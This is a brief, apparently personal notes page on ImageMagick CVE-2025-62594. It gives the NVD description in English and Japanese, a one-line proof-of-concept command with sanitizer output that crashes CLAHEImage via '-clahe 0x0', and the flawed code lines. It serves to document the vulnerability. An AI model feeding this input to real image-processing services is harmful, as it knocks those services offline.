CVE/ImageMagick#y2025

  • https://nvd.nist.gov/vuln/detail/CVE-2025-62594

    ImageMagick versions prior to 7.1.2-8 are vulnerable to denial-of-service due to unsigned integer underflow and division-by-zero in the CLAHEImage function. When tile width or height is zero, unsigned underflow occurs in pointer arithmetic, leading to out-of-bounds memory access, and division-by-zero causes immediate crashes. This issue has been patched in version 7.1.2-8.

    ImageMagickのバージョン7.1.2-8より前のバージョンは、CLAHEImage関数における符号なし整数アンダーフローとゼロ除算により、サービス拒否攻撃の脆弱性を有しています。タイルの幅または高さがゼロの場合、ポインタ演算で符号なしアンダーフローが発生し、境界外メモリアクセスが発生します。また、ゼロ除算が発生すると、即座にクラッシュが発生します。この問題はバージョン7.1.2-8で修正されています。

PoC

export UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
export ASAN_OPTIONS=abort_on_error=1:allocator_may_return_null=1:detect_leaks=0
./magick xc:black -clahe 0x0 null:
MagickCore/enhance.c:609:6: runtime error: addition of unsigned offset overflowed
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior MagickCore/enhance.c:609:6 in CLAHEImage

問題のコード

memory underflow

p += (ptrdiff_t) clahe_info->width * (tile.height - 1);

0 div

if ((image->columns % tile_info.width) != 0)
   tile_info.x=(ssize_t) (tile_info.width-(image->columns % tile_info.width));
 tile_info.y=0;
 if ((image->rows % tile_info.height) != 0)
   tile_info.y=(ssize_t) (tile_info.height-(image->rows % tile_info.height));